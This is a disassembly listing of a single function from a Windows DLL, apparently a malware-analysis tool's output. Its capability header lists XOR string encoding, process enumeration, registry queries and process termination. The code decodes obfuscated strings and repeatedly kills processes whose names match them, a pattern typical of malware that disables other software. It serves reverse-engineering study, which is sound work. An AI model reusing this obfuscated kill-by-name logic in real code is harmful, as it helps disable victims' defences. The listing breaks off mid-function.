Function at 0x18001cfa0
Capabilities:
Encode data using xor
Enumerate processes
Query or enumerate registry value
Terminate process
Terminate process by name

Disassembly:
mov rax, rsp
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x708]
sub rsp, 0x7c8
movaps xmmword [rax - 0x58], xmm6
movaps xmmword [rax - 0x68], xmm7
movaps xmmword [rax - 0x78], xmm8
movaps xmmword [rax - 0x88], xmm9
movaps xmmword [rax - 0x98], xmm10
xor r13d, r13d
mov dword [rbp + 0x710], r13d
mov qword [rbp + 0x720], r13
movups xmm0, xmmword [str.aRAAVJ_fm_QHZ]
movups xmmword [rbp + 0x48], xmm0
movups xmm1, xmmword [0x180157d20]
movups xmmword [rbp + 0x58], xmm1
movsd xmm0, qword [str.6__F]
movsd qword [rbp + 0x68], xmm0
movzx eax, word [0x180157d38]
mov word [rbp + 0x70], ax
mov r8d, r13d
lea ebx, [r13 + 4]
lea edi, [rbx + 0x1b]
mov r12d, dword [reloc.WS2_32.dll_accept]
cmp r12d, 2
jl 0x18001d151
movdqa xmm5, xmmword [0x18015bd60]
movdqa xmm4, xmmword [0x18015bf40]
movd xmm6, ebx
movdqa xmm7, xmmword [0x18015bdc0]
movd xmm8, edi
movdqa xmm9, xmmword [str.222222223333333388888888]
lea rcx, [rbp + 0x48]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x18001d062
cmp r8d, 0x15
jge 0x18001d194
movsxd rax, r8d
lea r9, [rbp + 0x48]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x36
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x15
jl 0x18001d160
lea rax, [rbp + 0x720]
mov qword [rsp + 0x20], rax
mov r14d, 1
mov r9d, r14d
xor r8d, r8d
lea rdx, [rbp + 0x48]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x18001d1d3
mov rcx, qword [rbp + 0x720]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x18001fca5
mov eax, 0x22
mov word [rbp + 0x460], ax
mov dword [rbp + 0x718], 0x206
movups xmm0, xmmword [str.aGQT_r_:]
movups xmmword [rsp + 0x60], xmm0
movzx eax, word [0x180157d08]
mov ecx, 0x53
mov word [rsp + 0x60], cx
xor word [rsp + 0x62], 0x33
xor word [rsp + 0x64], 0x34
xor word [rsp + 0x66], 0x35
xor word [rsp + 0x68], 0x36
xor word [rsp + 0x6a], 0x37
xor word [rsp + 0x6c], 0x38
xor word [rsp + 0x6e], 0x39
xor ax, 0x3a
mov word [rsp + 0x70], ax
lea rax, [rbp + 0x718]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x462]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rbp + 0x720]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rbp + 0x720]
test eax, eax
jne 0x18001d1c8
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
movups xmmword [rbp + 0x78], xmm0
mov qword [rbp + 0x88], r13
mov qword [rbp + 0x90], r13
lea rax, [rbp + 0x460]
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp word [rax + r8*2], r13w
jne 0x18001d2a4
lea rdx, [rbp + 0x460]
lea rcx, [rbp + 0x78]
call fcn.180006af0
nop
mov r8, r14
lea rdx, [0x18011dd7c]
lea rcx, [rbp + 0x78]
call fcn.1800082a0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x118], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x128], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
mov r15d, 8
mov rdx, qword [rbp + 0x90]
cmp rdx, 8
jb 0x18001d340
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001d33b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ff0d
call fcn.1800b9f6c
mov qword [rbp + 0x88], r13
mov qword [rbp + 0x90], 7
mov word [rbp + 0x78], r13w
movsd xmm10, qword [0x18015bca0]
jmp 0x18001d367
mov edi, 0x1f
movups xmm9, xmmword [0x180157c58]
movups xmmword [rsp + 0x60], xmm9
pextrw eax, xmm9, 7
test ax, ax
je 0x18001d4c4
cmp r12d, 2
jl 0x18001d47c
movdqa xmm4, xmmword [0x18015bf40]
movd xmm6, ebx
movd xmm5, edi
movdqa xmm8, xmmword [str.222222223333333388888888]
movdqa xmm2, xmmword [0x18015bd60]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18015bdc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm8
paddw xmm3, xmm2
movq xmm1, xmm9
xorps xmm3, xmm1
movq qword [rsp + 0x60], xmm3
movdqa xmm2, xmmword [0x18015bd70]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18015bdc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm8
paddw xmm3, xmm2
movq xmm0, qword [rsp + 0x68]
xorps xmm3, xmm0
movq qword [rsp + 0x68], xmm3
jmp 0x18001d4c4
lea r9, [rsp + 0x60]
mov r8d, r13d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x36
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 8
jl 0x18001d490
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
lea rax, [rsp + 0x60]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001d4e0
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x60]
call fcn.180006af0
nop
cmp qword [rbp - 0x50], 0
je 0x18001d7ca
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x40]
call fcn.1800053e0
nop
mov r8, rsi
lea rdx, [0x180156868]
lea rcx, [rsp + 0x40]
call fcn.1800050a0
cmp rax, 0xffffffffffffffff
je 0x18001d594
mov r8, rsi
lea rdx, [0x180156864]
lea rcx, [rsp + 0x40]
call fcn.1800050a0
mov rbx, qword [rsp + 0x50]
cmp rbx, rax
jb 0x18001ff13
mov rcx, rbx
sub rcx, rax
mov rdx, rsi
cmp rcx, rdx
cmovb rdx, rcx
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rcx, qword [rsp + 0x40]
lea rcx, [rcx + rax*2]
sub rbx, rdx
lea rdx, [rcx + rdx*2]
mov r8, rbx
sub r8, rax
lea r8, [r8*2 + 2]
call fcn.1800bc4c0
mov qword [rsp + 0x50], rbx
lea rdx, str..exe
lea rcx, [rsp + 0x40]
call fcn.180007660
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov dword [rbp + 0x160], 0x238
lea rdx, [rbp + 0x160]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x18001d787
nop word [rax + rax]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
lea rax, [rbp + 0x18c]
mov r8, rsi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001d600
lea rdx, [rbp + 0x18c]
lea rcx, [rbp - 0x80]
call fcn.180006af0
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x20]
call fcn.18009d6c0
mov rbx, rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x28]
call fcn.1800053e0
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.18009d6c0
mov r10, qword [rax + 0x10]
cmp qword [rax + 0x18], 8
jb 0x18001d653
mov rax, qword [rax]
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 8
jb 0x18001d661
mov rbx, qword [rbx]
mov rcx, r9
cmp r10, r9
cmovb rcx, r10
test rcx, rcx
je 0x18001d686
sub rbx, rax
movzx edx, word [rax + rbx]
cmp dx, word [rax]
jne 0x18001d68f
add rax, 2
sub rcx, 1
jne 0x18001d673
cmp r9, r10
jae 0x18001d697
mov ebx, esi
jmp 0x18001d69d
mov ebx, r14d
cmovb ebx, esi
jmp 0x18001d69d
mov ebx, r13d
seta bl
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x18001d6dd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001d6d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ff19
call fcn.1800b9f6c
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r13w
mov rdx, qword [rbp - 8]
cmp rdx, 8
jb 0x18001d72e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001d729
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ff1f
call fcn.1800b9f6c
test ebx, ebx
je 0x18001d74c
lea rdx, [rbp + 0x160]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x18001d5e0
jmp 0x18001d787
mov r8d, dword [rbp + 0x168]
xor edx, edx
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x18001d77d
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001d7ca
mov rcx, qword [rsp + 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001d7c4
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ff25
call fcn.1800b9f6c
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x18001d80a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001d805
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ffaf
call fcn.1800b9f6c
movups xmm0, xmmword [str.AGQT_]
movups xmmword [rsp + 0x60], xmm0
mov eax, dword [0x180157c50]
mov dword [rsp + 0x70], eax
cmp word [0x180157c52], 0
je 0x18001d86a
mov eax, reloc.WS2_32.dll_WSAStartup
mov word [rsp + 0x60], ax
xor word [rsp + 0x62], 0x33
xor word [rsp + 0x64], 0x34
xor word [rsp + 0x66], 0x35
xor word [rsp + 0x68], 0x36
xor word [rsp + 0x6a], 0x37
xor word [rsp + 0x6c], 0x38
xor word [rsp + 0x6e], 0x39
xor word [rsp + 0x70], 0x3a
xor word [rsp + 0x72], 0x3b
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
lea rax, [rsp + 0x60]
mov r8, rsi
inc r8
cmp word [rax + r8*2], 0
jne 0x18001d881
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x60]
call fcn.180006af0
nop
cmp qword [rbp - 0x50], 0
je 0x18001db6a
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x40]
call fcn.1800053e0
nop
mov r8, rsi
lea rdx, [0x180156868]
lea rcx, [rsp + 0x40]
call fcn.1800050a0
cmp rax, 0xffffffffffffffff
je 0x18001d935
mov r8, rsi
lea rdx, [0x180156864]
lea rcx, [rsp + 0x40]
call fcn.1800050a0
mov rbx, qword [rsp + 0x50]
cmp rbx, rax
jb 0x18001ff2b
mov rcx, rbx
sub rcx, rax
mov rdx, rsi
cmp rcx, rdx
cmovb rdx, rcx
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rcx, qword [rsp + 0x40]
lea rcx, [rcx + rax*2]
sub rbx, rdx
lea rdx, [rcx + rdx*2]
mov r8, rbx
sub r8, rax
lea r8, [r8*2 + 2]
call fcn.1800bc4c0
mov qword [rsp + 0x50], rbx
lea rdx, str..exe
lea rcx, [rsp + 0x40]
call fcn.180007660
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov dword [rbp + 0x160], 0x238
lea rdx, [rbp + 0x160]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x18001db27
nop word [rax + rax]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
lea rax, [rbp + 0x18c]
mov r8, rsi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001d9a0
lea rdx, [rbp + 0x18c]
lea rcx, [rbp - 0x80]
call fcn.180006af0
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x20]
call fcn.18009d6c0
mov rbx, rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x28]
call fcn.1800053e0
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.18009d6c0
mov r10, qword [rax + 0x10]
cmp qword [rax + 0x18], 8
jb 0x18001d9f3
mov rax, qword [rax]
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 8
jb 0x18001da01
mov rbx, qword [rbx]
mov rcx, r9
cmp r10, r9
cmovb rcx, r10
test rcx, rcx
je 0x18001da26
sub rbx, rax
movzx edx, word [rbx + rax]
cmp dx, word [rax]
jne 0x18001da2f
add rax, 2
sub rcx, 1
jne 0x18001da13
cmp r9, r10
jae 0x18001da37
mov ebx, esi
jmp 0x18001da3d
mov ebx, r14d
cmovb ebx, esi
jmp 0x18001da3d
mov ebx, r13d
seta bl
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x18001da7d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001da78
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ff31
call fcn.1800b9f6c
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r13w
mov rdx, qword [rbp - 8]
cmp rdx, 8
jb 0x18001dace
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001dac9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ff37
call fcn.1800b9f6c
test ebx, ebx
je 0x18001daec
lea rdx, [rbp + 0x160]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x18001d980
jmp 0x18001db27
mov r8d, dword [rbp + 0x168]
xor edx, edx
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x18001db1d
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001db6a
mov rcx, qword [rsp + 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001db64
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ff3d
call fcn.1800b9f6c
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x18001dbaa
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001dba5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ffaf
call fcn.1800b9f6c
movups xmm0, xmmword [0x180157c90]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [0x180157ca0]
movups xmmword [rbp + 0x10], xmm1
movzx eax, word [0x180157cb0]
mov word [rbp + 0x20], ax
mov r8d, r13d
cmp r12d, 2
jl 0x18001dcff
movdqa xmm5, xmmword [0x18015bd60]
movdqa xmm4, xmmword [0x18015bf40]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x18015bdc0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm9, xmmword [str.222222223333333388888888]
lea rcx, [rbp]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x18001dc10
cmp r8d, 0x11
jge 0x18001dd44
movsxd rax, r8d
lea r9, [rbp]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x36
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x11
jl 0x18001dd10
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
lea rax, [rbp]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001dd60
lea rdx, [rbp]
lea rcx, [rbp - 0x60]
call fcn.180006af0
nop
cmp qword [rbp - 0x50], 0
je 0x18001e04a
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x40]
call fcn.1800053e0
nop
mov r8, rsi
lea rdx, [0x180156868]
lea rcx, [rsp + 0x40]
call fcn.1800050a0
cmp rax, 0xffffffffffffffff
je 0x18001de13
mov r8, rsi
lea rdx, [0x180156864]
lea rcx, [rsp + 0x40]
call fcn.1800050a0
mov rbx, qword [rsp + 0x50]
cmp rbx, rax
jb 0x18001ff43
mov rcx, rbx
sub rcx, rax
mov rdx, rsi
cmp rcx, rdx
cmovb rdx, rcx
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rcx, qword [rsp + 0x40]
lea rcx, [rcx + rax*2]
sub rbx, rdx
lea rdx, [rcx + rdx*2]
mov r8, rbx
sub r8, rax
lea r8, [r8*2 + 2]
call fcn.1800bc4c0
mov qword [rsp + 0x50], rbx
lea rdx, str..exe
lea rcx, [rsp + 0x40]
call fcn.180007660
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov dword [rbp + 0x160], 0x238
lea rdx, [rbp + 0x160]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x18001e007
nop dword [rax]
nop dword [rax + rax]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
lea rax, [rbp + 0x18c]
mov r8, rsi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001de80
lea rdx, [rbp + 0x18c]
lea rcx, [rbp - 0x80]
call fcn.180006af0
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x20]
call fcn.18009d6c0
mov rbx, rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x28]
call fcn.1800053e0
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.18009d6c0
mov r10, qword [rax + 0x10]
cmp qword [rax + 0x18], 8
jb 0x18001ded3
mov rax, qword [rax]
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 8
jb 0x18001dee1
mov rbx, qword [rbx]
mov rcx, r9
cmp r10, r9
cmovb rcx, r10
test rcx, rcx
je 0x18001df06
sub rbx, rax
movzx edx, word [rax + rbx]
cmp dx, word [rax]
jne 0x18001df0f
add rax, 2
sub rcx, 1
jne 0x18001def3
cmp r9, r10
jae 0x18001df17
mov ebx, esi
jmp 0x18001df1d
mov ebx, r14d
cmovb ebx, esi
jmp 0x18001df1d
mov ebx, r13d
seta bl
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x18001df5d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001df58
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ff49
call fcn.1800b9f6c
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r13w
mov rdx, qword [rbp - 8]
cmp rdx, 8
jb 0x18001dfae
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001dfa9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ff4f
call fcn.1800b9f6c
test ebx, ebx
je 0x18001dfcc
lea rdx, [rbp + 0x160]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x18001de60
jmp 0x18001e007
mov r8d, dword [rbp + 0x168]
xor edx, edx
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x18001dffd
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001e04a
mov rcx, qword [rsp + 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001e044
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ff55
call fcn.1800b9f6c
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x18001e08a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001e085
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ffaf
call fcn.1800b9f6c
movups xmm0, xmmword [0x180157c68]
movups xmmword [rbp + 0x48], xmm0
movups xmm1, xmmword [0x180157c78]
movups xmmword [rbp + 0x58], xmm1
mov eax, dword [0x180157c88]
mov dword [rbp + 0x68], eax
movzx eax, word [0x180157c8c]
mov word [rbp + 0x6c], ax
mov r8d, r13d
cmp r12d, 2
jl 0x18001e1ef
movdqa xmm5, xmmword [0x18015bd60]
movdqa xmm4, xmmword [0x18015bf40]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x18015bdc0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm9, xmmword [str.222222223333333388888888]
lea rcx, [rbp + 0x48]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x18001e100
cmp r8d, 0x13
jge 0x18001e234
movsxd rax, r8d
lea r9, [rbp + 0x48]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
